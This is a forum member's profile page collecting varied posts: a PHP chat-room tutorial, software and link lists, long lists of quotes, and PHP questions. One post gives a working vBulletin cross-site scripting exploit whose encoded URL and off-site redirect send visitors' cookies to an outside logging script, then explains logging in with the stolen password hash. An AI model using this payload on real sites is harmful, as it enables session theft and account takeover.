Jump to content
xisto Community

spyshow

Members
  • Content Count

    19
  • Joined

  • Last visited

  1. NukeAmazon is a complete software package for Amazon Affiliate members. The software allows members to advertise products sold by Amazon in their PHP-Nuke (https://www.phpnuke.org/) powered Web sites. This package uses the Amazon Web Services version 3.0 via XML-based protocols to integrate Amazon.com features and content into PHP-Nuke site. Included in this package are blocks and administration / configuration files that allows the Web site Administrator to manage very easily the selected Amazon products. NukeAmazon is simple to install and manage. You enter Amazon product numbers (ASIN) in the admin page and the script does the rest. It has a hits and click counter so you know which featured and not featured items are more popular and have been sent to Amazon for purchase. It gets the product's information available from Amazon's servers and displays it in your web site. Every time the page is refreshed a new item is shown on the Amazon block. When the site visitor clicks on the item, the server loads a page with detailed information of the item. Related items and a search form are shown so that your visitor sees more products that are available for purchase so you can earn more commissions. You can add product reviews and link to them into the NukeAmazon store. NukeAmazon has been tested to work with PHP-Nuke 6.9 - 7.4. Get it at http://forums.xisto.com/no_longer_exists/
  2. this is the link for the program clickatell hoop enjoy
  3. hat can straighten out a lot of things. 100) Dark clouds hang over me sometimes...but I'll work it out. 101) The sparkle in your eyes could make the stars jealous. 102) Do you eat lucky charms? Because you look magically delicious! 103) Your friend is the man who knows all about you, and still likes you! 104) He has my heart?but everyday I get a little piece back...its time to move on... 105) Have you ever noticed that the worst way to miss someone is when they are right next to you and yet you know you can never have them. 106) Have you ever wanted to love someone with everything in you, but that other person was too afraid to let you? 107) Laundry is the only thing that should be separated by color! 108) You could die for Christ, but could you live for him? 109) Maybe God wants us to meet a few wrong people before meeting the right one, so that when we finally meet the right one, we know how to be grateful for that gift. 110) As long as there are tests, there will be prayer in public schools. 111) If the shoe fits, get another just like it. 112) One day you?ll love me as I have loved you; one day you?ll cry for me as I have cried for you; one day you?ll want me?. and I won?t want you! 113) God can mend all broken hearts; you just have to give him all the pieces. 114) Love is not a game, so why are there so many players? 115) Going to church does not make you a Christian any more than going to McDonalds makes you a hamburger! 116) Real friends are those who, when you feel you?ve made a fool of yourself, don?t feel you?ve done a permanent job. 117) There are two things I?ve learned in life: 1) there is a God; 2) I am not Him! 118) Therapy is expensive, popping bubble wrap is cheap. You choose. 119) Don?t cry cause its over; smile cause it happened. 120) I?m not inconsiderate, I just don?t give a sh*t. 121) I?m sweet like sugar, soft like suede, but unlike Nintendo, I never get played! 122) Do I look like a grocery item? I see you checking? me out! 123) A kiss blown is a kiss wasted; the only real kind of kiss is a kiss tasted! 124) I?m loved by some, hated by many, envied by most, yet wanted by plenty! 125) God made coke, God made Pepsi, God made (name here) so darn sexy! 126) I wish I may, I wish I might, be the one you wish for tonight! 127) You can?t fool a playa, but you can play them back! 128) God made rivers, God made dirt, God made boys so girls could flirt! 129) Everyone says you can only fall in love once, but that?s not true, ?cause every time I hear your voice I fall in love all over again. 130) To the world you may be one person, but to one person you could mean the world! 131) If I could be an angel, I?d make your every wish come true, but I am only human, just a girl who?s loving you! 132) It?s not my fault I fell for you! You tripped me! 133) Every cutie with a bootie needs a hottie with a body! 134) I?m not mad at you, I?m mad at myself for thinking you?re something you?re not; and thinking that nothing would ever change, and you?d always be here for me. 135) I don?t have an attitude problem, you have a perception problem! 136) It is impossible to rightly govern the world without God and the Bible. 137) Don?t hate me cause I?m beautiful, hate me cause your man thinks I am! 138) Roses are red, violets are blue, give me all your kisses, and I?ll surely repay you! 139) The greatest failure is not to try and fail, but to fail without trying! 140) You know you?re in love when you don?t want to go to sleep because reality is much better than a dream! 141) Roses are red, violets are blue, God made me perfect, what the heck happened to you!?! 142) No man is worth your tears and the one who is will never make you cry! 143) Eat to live, not live to eat! 144) Love isn?t when you can be together and talk about anything, it?s when you can be together and not say a word and think it?s the best conversation you?ve ever had! 145) I was born to please and taught to tease! 146) If in my dreams is the only place I can hold you, I want to sleep forever! 147) Lost time is never found again! 148) Who do you go to when the one who usually stops your tears is the one who made you cry? 149) Should I smile ?cause you?re my friend, or cry ?cause that?s all you?ll ever be? 150) Don?t frown, you never know when someone might be falling in love with your smile! 151) Love isn?t when you can imagine spending your life with someone; it?s when you can?t imagine your life without that person! 152) Star light; star bright, where the heck is Mr. Right??? 153) Never say ?I love you? if you don?t really care; never talk about feelings if they aren?t really there; never hold my hand if you?re going to break my heart, never say you?re going to if you don?t plan to start. Never look into my eyes, if all you do is lie, never say ?hello? if you really mean goodbye. If you really mean forever then say that you will try; never say forever, ?cause forever makes me cry! 154) There is something demoralizing about watching two people get more and more crazy about each other, especially when you are the only extra person in the room. ?Silvia Plath 155) You were born in the heavens, up in the sky, sent down to earth to put a twinkle in my eyes. 156) Last night I matched up the stars to reasons I love you, I was doing fine, ?till I ran out of stars. 157) Good friends are hard to find, harder to leave, and impossible to forget! 158) Struttin? our stuff, shakin? our booties, me n my girls are pure cuties! 159) Don?t hate me cause I?m beautiful, hate me cause?. uh?okay hate me cause I?m beautiful! 196) In order to love you have to risk the pain. 209) A peach is a peach, a plum is a plum. A kiss is not a kiss without some tongue! 210) An apple a day keeps the doctor away. But if the doctor is cute...screw the fruit! 212) Milk does the body good. But DANG...how much did you drink? 213) I only look sweet and innocent!!! 215) How do you do it...make me feel like I do? 216) Of all the friends I ever met, your the one I wont forget, and if I die before you do, I?ll go 2 heaven & wait 4 you! 217) I think I?m one of those bad things that happen to good people. 218) OH I?m sorry, did my back hurt you?re knife?! 221) Real eyes Realize Real Lies. 222) Cross you?re heart & hope to die, clothes & makeup, boys & lies, forever there ?till the end, Definition of: True Best Friends 223) Judge me if you want, but keep the verdict to yourself ~You laugh because im different, I laugh because you're all the same *A Person Who Asks A Question Is A Fool For Five Minutes, A Person Who Doesn't Is A Fool Forever ... ~I wasn't Kissing him, I was just telling his lips a secret!! ~Do u believe in love at first site? Or should i walk by again? ~ReMeMbEr mY nAmE * ReMeMbEr My FaCe * CuZ tHeRe AiNt nO oThA hOnEy * ThAt CaN tAkE mY pLaCe ~I'm Loved by some, Hated by many, Envied by most, Yet wanted by plenty ~IT's better to let someone think you are an Idiot than to open your mouth and prove it ~everyones entitled to be stupid but YOU ARE ABUSING the priviledge!!! ~One day your prince will come, mine just took a wrong turn, got lost, and is to stubborn to ask for directions ~Don't call me a GODDESS, Don't call me a QUEEN, Just call me the cutest PRINCESS you've ever seen! ~-I never meant t? hurt y?u- -but- - y?u're pretty when y?u cry- -I really l?ved y?u- hehehe- - R'nt i cute when I lie- ~Boyz Are Great, Every Girl Should Have One ~I LOVE my atitude problem ~You're only bad if you're caught... So that makes me a really good girl, RIGHT!? ~he broke my heart, so i broke his jaw ~I'll Try AnYtHiNg Once, Twice If I Like It! ~MY *FANTASY* HAS TURNED TO MADNESS. ALL MY *GOODNESS*HAS TURNED TO BADNESS ~X-tReMe Is NoT a MoOd, It'S a LYFE-STYLE ~An idoit and his $$ make for a great party!!! -If I had the letters "HRT" and I could add "EA" and get "HEART" or add "U" and get "HURT", I'd rather have "U" and get "HURT" than have a "HEART" without "U". ~ You can fall from the sky, you can fall from a tree, but the best way to fall is in love with me. ~ When I saw you, I was afraid to meet you. When I met you, I was afraid to hug you. When I hugged you, I was afraid to love you. Now I love you and I'm afraid to loose you. ~ ~ To love someone is nothing, to be loved is something+++++++++++++++++++++++++++++++++++++++++++++++9) Loved you then, love you still, always have, always will! 10) You never stop loving someone; you just learn to live without them. 26) If You Love Me... Let Me Know... If You Don't... Then Let Me Go... 31) Why cry over someone who wouldn't cry over you? 32) Never underestimate the power of stupid people in large groups 33) Suicide is a permanent solution to a Temporary problem. 34) They keep saying that the right person will come along; I think a truck hit mine 35) Don't say you love me unless you really mean it, because I might do something crazy like, believe it. 36) Heaven won't have me, and hells afraid I?ll take over. 37) Did you fall down the ugly tree and hit every branch on your way down? 38) 4 out of 5 voices in my head say go back to sleep. 39) FOR ALL OF YOU WHO TALK ABOUT ME THANKS FOR MAKING ME THE CENTER OF YOUR WORLD 40) I know I'm not perfect, but I'm So Close it scares me 41) I like the way I feel, nothing hurts when no ones real. 42) I'm lost; please take me home with you. 43) A very wise man once said "I don?t know go ask a woman". 44) I used to think I was indecisive, but now I'm not so sure 45) Maybe this world is another planet's Hell 46) If I were two-faced, would I be wearing this one? 47) I never forget a face, but I'll make an exception in your case 48) I quote others only in order to better understand myself. 49) If you love something set it free. If it doesn't come back to you, chase it down and kill it 53) Guys are like roses, you gotta watch out for the pricks! 54) Loving you is like breathing, how can I stop? 55) Your boyfriend kisses better than mine. 56) Some people are alive just because it's against the law to kill them! 57) I wish I had the guts to walk away and forget what we have but I know you wont follow. 58) And your point is...? 59) You know you want me 60) If I were to throw a stick, would you leave? 61) I don't come with dice...so please don't try to play me 62) People like you are the reason we have middle fingers 63) I'm not a bad girl...just a good girl that does bad things.. 64) Wish I had somebody, walking beside me, looking into my eyes at night. I want a love to call my own. I want someone that I can hold, someone wanting me. Just want to know how it feels to be somebody's somebody 65) If you love something set it free...if it comes back, it was meant to be. If it continues to fly, let it soar, have faith that God has something better in store. 66) There are certain people who are not meant to fit in your life, no matter how much you want them to be 67) I don't miss him.... I just miss who I thought he was 68) It's really amazing when two strangers become the best of friends, but it?s really sad when the best of friends become two strangers 69) Sometimes it hurts more to smile in front of everyone than to cry all alone 70) It's funny the way you can get use to the tears & the pain 71) If you love your man, set him free.. If he doesn't come back, then you know he's with me 72) Sometimes its better to be alone, no one can hurt you that way 73) Sometimes when I'm alone at night I just sit and contemplate all the reasons why you wouldn't want me the way I want you 74) I may not see u as often as I'd like, I may not get to hold u all throughout the night, but deep inside my heart I know this is true! No matter what, I'll never stop loving u! 75) I have never had a dream that has ever came true, until God gave me the gift of having u 76) You hurt me more than I deserve, how can you be so cruel? I love you more than you deserve, why am I such a fool? 77) How can you simply be friends with someone when every time you look at them all you think about is how much more you really want them? 78) How do I tell him that he has my heart? That without him my world would fall apart. I need so much for him to know, but if I tell him will he stay or will he go? 79) Something in your eyes captured my soul, and every night I see you in my dreams. You're all I know. I can't let go. 80) Loneliness up ahead, emptiness behind, where do I go? 81) I know I made a lot of stupid mistakes in my life, but the worst one was thinking the person who hurt me the most wouldn't hurt me again! 82) Waking up is the start of my nightmares. 83) I want to be remembered as the girl who always smiled...The one who could brighten up your day, Even if she couldn't brighten her own. 84) The roots of love grow all around but for me they come tumbling down everyday heartaches grow a little stronger I cant take this pain much longer. 85) Have you ever loved someone and knew they didn?t care? Did you ever feel like crying but knew you?d get nowhere? Do you ever close your eyes and say a little prayer? Have you ever looked into his heart and wished that you were there? 86) There?s a smile on my face but I don?t know why its there...I put it on to try and satisfy all the people that don?t even care. 87) Inside my heart is breaking but my smile stays on. 88) Say goodbye. Turn and walk away. You never really loved me-so why did I expect you to stay. 89) My face is always smiling but my soul wears an everlasting frown. 90) Funny how we feel so much but cannot say a word, we are screaming inside but we can't be heard. 91) What can you say about a society that thinks God is dead and Elvis is alive? 93) Screw Snapple I?m the Best stuff on Earth!!! 94) Coffee, chocolate, men...some things are just better rich! 95) What a shame...looks like the ugly fairy kissed you on both cheeks! 96) Don't look at me like I'm evil. 97) If I could give you one gift in the world it would be the ability to see yourself as I see you. Maybe then you?ll realize how special you really are! 98) I would tell you to go to hell, but all dogs go to Heaven! 99) A smile is a curve
  4. Within the first few lines of code in memberlist.php, the variable $letterbits is evaluated. Because of the way PHP initializes variables, we can inject HTML or JavaScript into the document. So by directing a user to, for example: http://forums.xisto.com/no_longer_exists/ http%3A%2F%2Fwww%2Eswgmotu%2Ecom%2Ftests%2Frecord% 2Ephp%3Fcook%3D%27%2B escape%28document%2Ecookie%29%3C%2Fscript%3E (NOTE: The URL should be on a one line) You can steal the user's password hash and user id. Because of the way vBulletin parses URLs, the above will not function inside the forum, but if we put this in an off-site html file: <script> location = "http://forums.xisto.com/no_longer_exists/ %27http%3A%2F%2Fwww%2Eswgmotu%2Ecom%2Ftests%2Freco rd%2Ephp%3Fcook%3D%27 %2Bescape%28document%2Ecookie%29%3C%2Fscript%3E" </script> And then link to it instead, the exploit will work as intended. The user doesn't even have to be aware of what has transpired, the above link will proceed first to the memberlist w/cookie stealing code, and then to http://forums.xisto.com/no_longer_exists/. With the recorded user id and password hash, we can access the site: http://www.vbulletin.com/forum/index.php?bbuserid=[userid]&bbpassword=[password hash]
  5. gosper is credited with disclosing this to securiteam on 9-24-02 along with a working exploit and he probably discovered it too. I wrote this because his exploit didn't URL encode all the characters that needed to be URL encoded in order for some of the inputted commands to work properly. I added a date argument which is essential for exploiting the security hole. I also used an fdopen() and fgets() to make sure all the output was recieved and displayed correctly, at least I hope it works better . Last thing I built in was HTTP version 1.1 support so that you can use this against virtual hosts. Yeah... and you can exploit this with a web browser too, its just easier to use this program, most of the time.
  6. this sites r sooooooo gooood u know:p php.resourceindex.com php-resource.de phpbuilder.com php-editors.com onlyphp.com php-resource.de javascript.internet.com free-javascripts.com javascriptkit.com/ javascripts.net javascript.com thefreesite.com/Free_Java_JavaScript hotscripts.com 123webmaster.com totalscripts.com needscripts.com
  7. good sites i w'll put all the javascript sites in a new topicok
  8. One last thing we should address is how to deal with troublemakers. This is a particular problem if you end up with a popular chat. It's a sad fact we have to face up to - people are frequently jerks. And because of this we have to make sure that only the right kind of people get into our chat room.One idea is a login system. Store usernames and passwords in a MySQL database and make users register before they can access your chat. The other idea is to log the IP of troublemakers and prevent that IP posting.This second system is flawed to a certain extent, in that malicious users can switch between any number of proxies to change their IP. And as most ISP's assign dynamic IP addresses, even the stupid ones can just reconnect and get access to the chat.Most "casual" troublemakers won't be bothered about going to all that effort just to put the wind up a handful of individials. Once "banned" they'll never bother coming back.So our "banned" IPs are logged in a file called banned.ban. Each IP is terminated by a newline character so as before we can use the file() function to read the file into an array.$banned_array = file("banned.ban");Now we have the file we need to cross-reference it with the $REMOTE_ADDR variable so we can tell if the user trying to post a message is banned or not. Simplicity itself :<?php for ($counter=0;$counter<sizeof($banned_array);$counter++) { if ($banned_array[$counter] == $REMOTE_ADDR) { print("<font color=\"red\" face=\"arial\" align=\"center\">". "You have been banned from this chat</font>"); exit; }}?>The exit command will stop immediately the execution of the script. Place your ban checks before you start performing operations on the POSTed variables and your banned user can't use the chat.With a mind to accounting in some way for the problem of dynamic IP addresses, it's probably an idea to check the IP block the IP belongs to. A simple function makes makes this easy.<?php function makeMask($ip) { // remember to escape the . so PHP doesn't think it's a concatenation $ip_array = explode("\.", $ip); $ip_mask = "$ip_array[0]\.$ip_array[1]\.$ip_array[2]"; return $ip_mask;}?>Then we replace the looped if with:<?php for ($counter=0;$counter<sizeof($banned_array);$counter++) { if (makeMask($REMOTE_ADDR) == makeMask($banned_array[$counter])) { print("<font color=\"red\" face=\"arial\" align=\"center\">". "You have been banned from this chat</font>"); exit; }}?>... we have some protection against dynamic IPs.Finally we need a way to get the troublemaker's IP in the first place. I do this by logging $name and $REMOTE_ADDR in a file called iplist.html. At a separate, secret URL I can view the message and monitor the IP addresses at the same time. This has the added bonus of being able to spot impersonators - a common crime in these places.iplist.html is created in much the same way as messages.html. First we extract the current values from iplist.html, we strip out the header, footer and oldest IP record and then create a new record, new header and new footer. To make the layout more clear, I used a table.<?php $header = "<html><body bgcolor=\"#000000\" text=\"#ffffff\"><table border=\"0\">\n";$footer = "</table></body></html>";$new_ip = "<tr><td>$name</td><td>$REMOTE_ADDR</td></tr>\n";$ip_array = file("iplist.html");for ($counter = 1; $counter < 20; $counter++) $old_ips.= $ip_array[$counter];?>Simply write that to the disk the same way as we did the message file and there we have it. A simple web-based chat room. Better cross platform compatibility than Java and no need for anything more than a web browser - I'm told that even the Dreamcast works with this!Somethings you might want to try yourself include combining common pieces of code into functions, writing a script that will automatically add troublemakers to the banned list and writing a regex expression that scans a message text for URL's and e-mail addresses and automatically turning them into likes (as Outlook Express and ICQ do).Play around, have fun, experiment. I did. This is how I started in PHP and now I've made a career of it. Happy Chatting.i hope u enjoy this spyshow
  9. Now we finally have all we need to write the new file :<?php // Opens file for writing and truncates file length to zero.$open_file = fopen("messages.html", "w");// write file header...fputs($open_file, $header);// ... new line...// (stripSlashes because we don't want all// our escape characters appearing in the// message file)fputs($open_file, stripslashes($new_message));// ... old lines ...fputs($open_file, $old_messages);// ... and footer.fputs($open_file, $footer);// Close the file when you're done. Don't forget to wash your handsfclose($open_file);?>So we now have a very very basic web chat. Let's look at some of the features.<form action="chat.php3">Name : <input type="text" name="name"> Color: <input type="text" name="color"><br>Message : <input type="text" name="message"><br><input type="submit" name="Send"></form>We've added a new input to the form, meaning we get a nice new variable to play with in the script. We read the old messages as before, but in compiling the new one, we use a little more HTML.<?php $new_message = "<font color=\"$color\">$name : $message</font><br>\n";?>And while we're thinking about it, we'll add a few more bells and whistles.<?php $time = date("H:i");$new_message = "<font color=\"$color\"><b><i>$name</i></b>". " <font size=\"1\">($time)</font> : $message</font><br>\n";?>Now we're getting somewhere in terms of design. Another feature the regulars at my chat room enjoy is the ability to display email and URL link icons in their message. Two more form inputs were incorporated and the links processed thus :<?php if($url) $link_html .= " <a href=\"$url\" target=\"_new\">". "<font face=\"wingdings\">2</font></a>";if($mail) $link_html .= " <a href=\"$mail\" target=\"_new\">". "<font face=\"wingdings\">*</font></a>";$new_message = "<font color=\"$color\"><b><i>$name</i></b>". " $link_html <font size=\"1\">($time)</font> : $message</font><br>\n";?>Again, we could just could just leave things at that, but there are certain security issues. What is to stop someone entering nasty HTML into the message box? A little JavaScript? A little VBScript? Even something as simple as a 5,000k JPEG image can do harm. Refreshing every eight seconds on the screens of heaven-knows how many people across the globe. Could be murder on your bandwidth - not something we want. We could remove all HTML and PHP elements using the strip_tags() function, but I want the chatters to be able to use basic HTML in their posts. Basic elements like <i>, <b> and <font> that can be used to spruce up a message.For almost two years I used a complicated series of regex statements to screen out the nasty HTML. However I found that I was more or less constantly adding to this filter, until it was taking up most of my code! Frustrated by inefficient code I was again rescued by a friend who suggested approaching the problem from the other direction. Instead of telling the script what HTML it can use, tell it what it can't.htmlspecialchars() is a much under-used PHP function. It replaces certain characters with their HTML entities. So " becomes ", & becomes &, < becomes < and > becomes >. By running the $new_message variable through htmlspecialchars() I turn ...<iframe src="http://www.microsoft.com/de-de;...into ...<iframe src=microsoft.com;... rendering it useless. A series of string replace functions can then re-enable certain tags. Then comes the clever part. We use str_replace() to undo some of what htmlspecialchars() did.<?php $message = htmlspecialchars($message);$message = str_replace(">", ">", $message);$message = str_replace("<b>", "<b>", $message);$message = str_replace("</b>", "</b>", $message);$message = str_replace("<i>", "<i>", $message);$message = str_replace("</i>", "</i>", $message);$message = str_replace("<font ", "<font ", $message);$message = str_replace("</font>", "</font>", $message);?>And so on. There are cleverer ways of doing this using eregi_replace() but I don't want to complicate matters.We have to make sure we run the $name, $color, $url and $mail through this filter too, otherwise the malicious users can enter code that way. Save yourself work and bundle the filter off in a function.<?php $name = filterHTML($name);$message = filterHTML($message);$color = filterHTML($color);$url = filterHTML($url);$mail = filterHTML($mail);?>
  10. this is php-based chat scriptOnce upon a time there was a reasonably popular web-based chat room called Star Trekker chat. I happened into this chat thanks to a friend and even though Star Trek fans were hardly my favourite group of people I found that for the most part people in there were friendly and fun. But when Star Trekker shut down, thanks to its Perl backend eating server resources for lunch, these happy and kindly people were left with nowhere to go. It was fortunate that at that time I opened my own similar chat room and managed to attract much of the homeless traffic from Trekker. Wary of the resource problems caused by Perl, I was pleased when a friend introduced me to PHP.This particular design of web-based chat uses variables posted from a form, processes them into HTML and writes them to a file. Put the form and the message file in a frameset and you have something that looks reasonably like a BeSeen chat room. Of course the advantage is, our chat room can be a little more clever than it's BeSeen cousin.<form action="chat.php3" method="post">Name : <input type="text" name="name"><br>Message : <input type="text" name="message"><br><input type="submit" value="Send"></form>This is your basic form input. You'll probably want to pretty it up more than that, but to all intents and purposes, this is that you're dealing with. It sends two variables through to chat.php3 called $name and $message.Before we deal with those variables, however, we need to extract the current contents of the message file, otherwise we'd only see one message at a time. Hardly a way to conduct a conversation. Being familiar as I am with the structure of my own message file, I know that each message is terminated by a newline character. This means I can use the file() function to read the message file into an array.The message file is 12 lines long. Of those 12 lines, the line 1 is a set of headers, lines 2-11 are old messages and line 12 contains my footers.All I am interested in is obtaining a string that contains most of those old messages.<?php// Read file into an array$message_array = file("messages.html");// Compile the stringfor ($counter = 1; $counter < 10; $counter++) { $old_messages .= $message_array[$counter];}?>When compiling the string, I initiated the for loop with $counter = 1 not $counter = 0 as is common. This is because I know that element 0 of $message_array contains my headers and I don't want those. Also, by setting the loop condition to $counter < 10 means that only elements 1 thru 9 of the array are read into the string. Of the other two elements, 11 contains my footers and 10 contains the oldest message. Both of which I want to remove so I only ever have 10 messages on screen at any given time. Altering the $counter < 10 expression allows you to vary the amount of messages retained.Now I have my old messages I want to make the new message. We have our two variables $name and $message so writing a new message string is easy.<?php $new_message = "$name : $message<br>\n"; ?>We're nearly ready write our message file. All we need are headers and footers. Start simple with the headers:<?php // It's important that there are no newline// characters except at the end of the string.// This keeps all the headers together.$header = "<html><body bgcolor=\"#000000\" text=\"#ffffff\">\n";?>We want the message screen to auto refresh so people viewing the site can see new posts. In preference to using JavaScript, I use an META refresh, principally because it's more likely to be supported client-side. I also don't want the search engines indexing my message file. So we refine $header to :<?php $header = "<html><head><meta http-equiv=\"refresh\" content=\"8\">". "<meta name=\"robots\" content=\"noindex\"></head>". "<body bgcolor=\"#000000\" text=\"#ffffff\">\n";?>In the file footer I tend to put a little copyright information as well as close the tags I opened in the header.<?php $footer = "<p align=\"center\"><font color=\"#000000\">". "© Mike Hall 2000</font></p></body></html>";?>Wrapping the copyright in <font color="#000000"> means that unless selected it'll be invisible against the equally #000000 background. This just stops it being intrusive.
  11. So it seems as though the php docs make it very clear that mysql and mysqli functions will all connect to the database as a latin1 client. Although i have my server set up with utf8 databases, tables and fields and the default client connection is utf8, php still connects as latin1. My xhtml forms and pages are all utf-8, so when i post utf8 data and insert it into the database the connection assumes that incoming data is latin1 and the data that gets placed in the database is invalid. phpMyAdmin seems to be able to view, add, edit, and retrieve utf8 strings in the database just fine using my current installation of php. How? Does anyone know how to make sure that the complete workflow is entirely utf-8?
  12. spyshow

    php 5.0

    Well PHP 5.0 is out... With many performance and security improovments. I've tried it, and I can say it's really good. What do you think?
  13. I always use programs to do the work for me, I think a "creative mind" is important too, you can learn how to program or design things, but that doesn't mean you'll create great things...
×
×
  • Create New...

Important Information

Terms of Use | Privacy Policy | Guidelines | We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.